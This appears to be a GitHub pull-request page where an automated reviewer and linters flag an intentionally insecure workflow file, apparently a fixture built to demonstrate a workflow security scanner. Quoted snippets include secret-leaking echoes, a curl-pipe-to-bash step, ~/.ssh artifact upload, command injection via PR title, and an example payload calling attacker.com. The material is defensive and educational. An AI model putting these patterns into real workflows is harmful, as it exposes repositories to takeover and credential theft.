Preview/Zizmor#105
Conversation
c412c7f to
5ab364b
Compare
WalkthroughA new GitHub Actions workflow file is added at ChangesMalicious GitHub Actions Workflow
Estimated code review effort🎯 4 (Complex) | ⏱️ ~35 minutes Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 inconclusive)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
There was a problem hiding this comment.
Actionable comments posted: 8
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/actions.yml:
- Around line 29-33: The cache key in the "Cache untrusted dependency path" step
is using github.event.pull_request.title which is attacker-controllable input
that can be exploited to poison the node_modules cache with malicious
dependencies. Replace the key property value with a deterministic, trusted value
based on the lockfile hash instead, using the pattern ${{ runner.os }}-node-${{
hashFiles('**/package-lock.json') }} to ensure cache keys are based on actual
dependency state rather than user-controlled PR titles.
- Around line 20-27: Replace all version tag references with pinned commit SHAs
to prevent supply chain attacks. Update the actions/checkout action (currently
using `@v4`) to use its full commit SHA with a comment noting the version, update
the actions/setup-node action (currently using `@v4`) to its full commit SHA with
version comment, and pin the docker://alpine image (currently using latest) to a
specific digest SHA instead of the latest tag. Apply these same pinning changes
to all other action references throughout the file at the locations mentioned in
the review comment.
- Around line 2-10: The workflow file `.github/workflows/actions.yml` contains a
critical security vulnerability with the combination of `pull_request_target`
trigger and `permissions: write-all`, which allows arbitrary code execution with
full repository access from forked PRs. To fix this, either rename the file to
`.yml.disabled` to completely disable it, or add an `if: false` condition to the
jobs section to prevent any accidental execution while keeping the file in place
for reference or testing purposes.
- Around line 49-51: The step named "Dangerous curl bash" directly pipes a
remote script to bash without verifying its integrity, creating a critical
supply chain attack vulnerability. Replace this approach by downloading the
script first and verifying its integrity using a checksum or signature before
execution, or use a trusted GitHub Action instead. At minimum, implement
checksum verification by downloading both the install script and its checksum
file, then validating the checksum before piping to bash, ensuring the script
has not been tampered with during transmission.
- Around line 44-47: Remove the step named "Leak secrets into logs" or delete
the run block containing the echo commands that output AWS_SECRET_ACCESS_KEY and
GH_TOKEN to the workflow logs. These echo statements expose sensitive
credentials to anyone with read access to the logs, regardless of GitHub's
secret masking attempts. Delete the entire step that contains the echo
statements printing these environment variables.
- Around line 20-23: The actions/checkout@v4 step is performing a privileged
checkout of untrusted pull request code with credentials persistence enabled,
creating a privilege escalation vulnerability. Remove the `ref: ${{
github.event.pull_request.head.ref }}` parameter to avoid explicitly checking
out attacker-controlled code from forks, and change `persist-credentials: true`
to `persist-credentials: false` to prevent attackers from pushing to protected
branches. This ensures the workflow only checks out the base branch code unless
explicitly needed for a safe, authenticated operation.
- Around line 53-57: The "Upload secrets as artifact" step is uploading the
~/.ssh directory as a workflow artifact, which exposes SSH private keys to
anyone with access to the repository's artifacts. Remove this step entirely, or
if artifact upload is necessary, modify the path to exclude sensitive credential
files (private keys like id_rsa, id_ed25519, etc.) and only include
non-sensitive public key files if needed.
- Around line 35-42: The workflow has two critical security vulnerabilities
where untrusted GitHub context values are directly expanded into shell commands.
In the "Template injection via PR title" step, the
github.event.pull_request.title and github.head_ref are directly injected into
the echo command using template syntax which allows command injection.
Similarly, the "Run user-controlled input" step directly executes
github.event.inputs.cmd. Fix both steps by defining the untrusted values as
environment variables (using env: property) and then referencing those
environment variable names in the shell commands instead of using template
expansion syntax. This prevents shell metacharacters in the input from being
interpreted as commands.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Central YAML (base), Repository UI (inherited)
Review profile: CHILL
Plan: Enterprise
Run ID: 0083bd53-bde6-4c31-950a-cc6dafbfbda6
📒 Files selected for processing (1)
.github/workflows/actions.yml
| on: | ||
| pull_request_target: | ||
| workflow_dispatch: | ||
| inputs: | ||
| cmd: | ||
| required: true | ||
| default: "echo hello" | ||
|
|
||
| permissions: write-all |
There was a problem hiding this comment.
Critical: pull_request_target with write-all permissions enables supply chain attacks.
This combination allows any attacker to open a PR from a fork and execute code with full write access to the repository, including secrets access. Even though line 1 marks this as a test fixture, the workflow is active and will execute when triggered.
If this is truly for testing security tooling (like zizmor), disable the workflow entirely by renaming the file to .yml.disabled or add a condition that always evaluates to false:
jobs:
bad:
if: false # Prevent accidental execution🧰 Tools
🪛 zizmor (1.25.2)
[error] 2-8: use of fundamentally insecure workflow trigger (dangerous-triggers): pull_request_target is almost always used insecurely
(dangerous-triggers)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/actions.yml around lines 2 - 10, The workflow file
`.github/workflows/actions.yml` contains a critical security vulnerability with
the combination of `pull_request_target` trigger and `permissions: write-all`,
which allows arbitrary code execution with full repository access from forked
PRs. To fix this, either rename the file to `.yml.disabled` to completely
disable it, or add an `if: false` condition to the jobs section to prevent any
accidental execution while keeping the file in place for reference or testing
purposes.
Source: Linters/SAST tools
| - uses: actions/checkout@v4 | ||
| with: | ||
| persist-credentials: true | ||
| ref: ${{ github.event.pull_request.head.ref }} |
There was a problem hiding this comment.
Critical: Privileged checkout of untrusted PR code.
Checking out github.event.pull_request.head.ref in a pull_request_target workflow runs attacker-controlled fork code with the base repository's secrets and write permissions. With persist-credentials: true, the attacker can also push to protected branches.
This is the canonical GitHub Actions privilege escalation pattern.
🧰 Tools
🪛 zizmor (1.25.2)
[error] 20-20: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/actions.yml around lines 20 - 23, The actions/checkout@v4
step is performing a privileged checkout of untrusted pull request code with
credentials persistence enabled, creating a privilege escalation vulnerability.
Remove the `ref: ${{ github.event.pull_request.head.ref }}` parameter to avoid
explicitly checking out attacker-controlled code from forks, and change
`persist-credentials: true` to `persist-credentials: false` to prevent attackers
from pushing to protected branches. This ensures the workflow only checks out
the base branch code unless explicitly needed for a safe, authenticated
operation.
Source: Linters/SAST tools
| - uses: actions/checkout@v4 | ||
| with: | ||
| persist-credentials: true | ||
| ref: ${{ github.event.pull_request.head.ref }} | ||
|
|
||
| - uses: actions/setup-node@v4 | ||
|
|
||
| - uses: docker://alpine:latest |
There was a problem hiding this comment.
Pin actions to commit SHAs to prevent supply chain attacks.
Using version tags (v4, latest) instead of commit SHAs allows action maintainers (or attackers who compromise the action repository) to silently modify the code your workflow executes.
Pin actions to full commit SHAs:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
- uses: docker://alpine@sha256:... # pin to digestAlso applies to: 30-30, 54-54
🧰 Tools
🪛 zizmor (1.25.2)
[error] 20-20: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
[error] 25-25: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/actions.yml around lines 20 - 27, Replace all version tag
references with pinned commit SHAs to prevent supply chain attacks. Update the
actions/checkout action (currently using `@v4`) to use its full commit SHA with a
comment noting the version, update the actions/setup-node action (currently
using `@v4`) to its full commit SHA with version comment, and pin the
docker://alpine image (currently using latest) to a specific digest SHA instead
of the latest tag. Apply these same pinning changes to all other action
references throughout the file at the locations mentioned in the review comment.
Source: Linters/SAST tools
| - name: Cache untrusted dependency path | ||
| uses: actions/cache@v4 | ||
| with: | ||
| path: node_modules | ||
| key: ${{ github.event.pull_request.title }} |
There was a problem hiding this comment.
Cache poisoning via attacker-controlled cache key.
Using github.event.pull_request.title as a cache key allows attackers to inject malicious dependencies into the cache. An attacker can craft a PR title to match a legitimate cache key, poisoning node_modules for future workflow runs.
Cache keys should use trusted, deterministic values like lockfile hashes:
key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}🧰 Tools
🪛 zizmor (1.25.2)
[error] 30-30: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/actions.yml around lines 29 - 33, The cache key in the
"Cache untrusted dependency path" step is using github.event.pull_request.title
which is attacker-controllable input that can be exploited to poison the
node_modules cache with malicious dependencies. Replace the key property value
with a deterministic, trusted value based on the lockfile hash instead, using
the pattern ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} to
ensure cache keys are based on actual dependency state rather than
user-controlled PR titles.
| - name: Template injection via PR title | ||
| run: | | ||
| echo "PR title: ${{ github.event.pull_request.title }}" | ||
| echo "Branch: ${{ github.head_ref }}" | ||
|
|
||
| - name: Run user-controlled input | ||
| run: | | ||
| ${{ github.event.inputs.cmd }} |
There was a problem hiding this comment.
Critical: Template injection enables arbitrary code execution.
Lines 37-38 expand untrusted input (pull_request.title, head_ref) directly into shell commands before execution. An attacker can inject shell commands via a malicious PR title like "; curl attacker.com/exfil.sh | bash #.
Line 42 explicitly executes user-controlled input—this is intentional RCE.
Pass untrusted values through environment variables instead:
- name: Safe template usage
env:
PR_TITLE: ${{ github.event.pull_request.title }}
HEAD_REF: ${{ github.head_ref }}
run: |
echo "PR title: $PR_TITLE"
echo "Branch: $HEAD_REF"🧰 Tools
🪛 actionlint (1.7.12)
[error] 36-36: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🪛 zizmor (1.25.2)
[error] 37-37: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
[error] 38-38: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
[error] 42-42: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/actions.yml around lines 35 - 42, The workflow has two
critical security vulnerabilities where untrusted GitHub context values are
directly expanded into shell commands. In the "Template injection via PR title"
step, the github.event.pull_request.title and github.head_ref are directly
injected into the echo command using template syntax which allows command
injection. Similarly, the "Run user-controlled input" step directly executes
github.event.inputs.cmd. Fix both steps by defining the untrusted values as
environment variables (using env: property) and then referencing those
environment variable names in the shell commands instead of using template
expansion syntax. This prevents shell metacharacters in the input from being
interpreted as commands.
Source: Linters/SAST tools
| - name: Leak secrets into logs | ||
| run: | | ||
| echo "AWS key is $AWS_SECRET_ACCESS_KEY" | ||
| echo "Token is $GH_TOKEN" |
There was a problem hiding this comment.
Critical: Explicit secret exfiltration to logs.
Printing secrets to workflow logs exposes them to anyone with read access. While GitHub attempts to mask secrets, this can be bypassed with encoding (base64, hex) or character-by-character output.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/actions.yml around lines 44 - 47, Remove the step named
"Leak secrets into logs" or delete the run block containing the echo commands
that output AWS_SECRET_ACCESS_KEY and GH_TOKEN to the workflow logs. These echo
statements expose sensitive credentials to anyone with read access to the logs,
regardless of GitHub's secret masking attempts. Delete the entire step that
contains the echo statements printing these environment variables.
| - name: Dangerous curl bash | ||
| run: | | ||
| curl https://example.com/install.sh | bash |
There was a problem hiding this comment.
Critical: Remote code execution via curl | bash.
Downloading and executing a remote script without integrity verification exposes the workflow to supply chain attacks. If example.com is compromised or traffic is intercepted, arbitrary code runs with repository write access.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/actions.yml around lines 49 - 51, The step named
"Dangerous curl bash" directly pipes a remote script to bash without verifying
its integrity, creating a critical supply chain attack vulnerability. Replace
this approach by downloading the script first and verifying its integrity using
a checksum or signature before execution, or use a trusted GitHub Action
instead. At minimum, implement checksum verification by downloading both the
install script and its checksum file, then validating the checksum before piping
to bash, ensuring the script has not been tampered with during transmission.
| - name: Upload secrets as artifact | ||
| uses: actions/upload-artifact@v4 | ||
| with: | ||
| name: secrets | ||
| path: ~/.ssh |
There was a problem hiding this comment.
Critical: SSH credential exfiltration via artifact upload.
Uploading ~/.ssh as a workflow artifact exposes any SSH private keys present on the runner. Combined with the earlier checkout step that enables persist-credentials, this could include deploy keys or other sensitive credentials accessible to anyone who can download workflow artifacts.
🧰 Tools
🪛 zizmor (1.25.2)
[error] 54-54: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/actions.yml around lines 53 - 57, The "Upload secrets as
artifact" step is uploading the ~/.ssh directory as a workflow artifact, which
exposes SSH private keys to anyone with access to the repository's artifacts.
Remove this step entirely, or if artifact upload is necessary, modify the path
to exclude sensitive credential files (private keys like id_rsa, id_ed25519,
etc.) and only include non-sensitive public key files if needed.
Demonstrates the zizmor sandboxer tool via an intentionally insecure .github/workflows/actions.yml covering common GitHub Actions security anti-patterns (privileged triggers, broad permissions, injection, unpinned deps, credential/artifact risks).
Summary by CodeRabbit
Release Notes
Note: This release contains infrastructure changes with no direct impact to end-user features.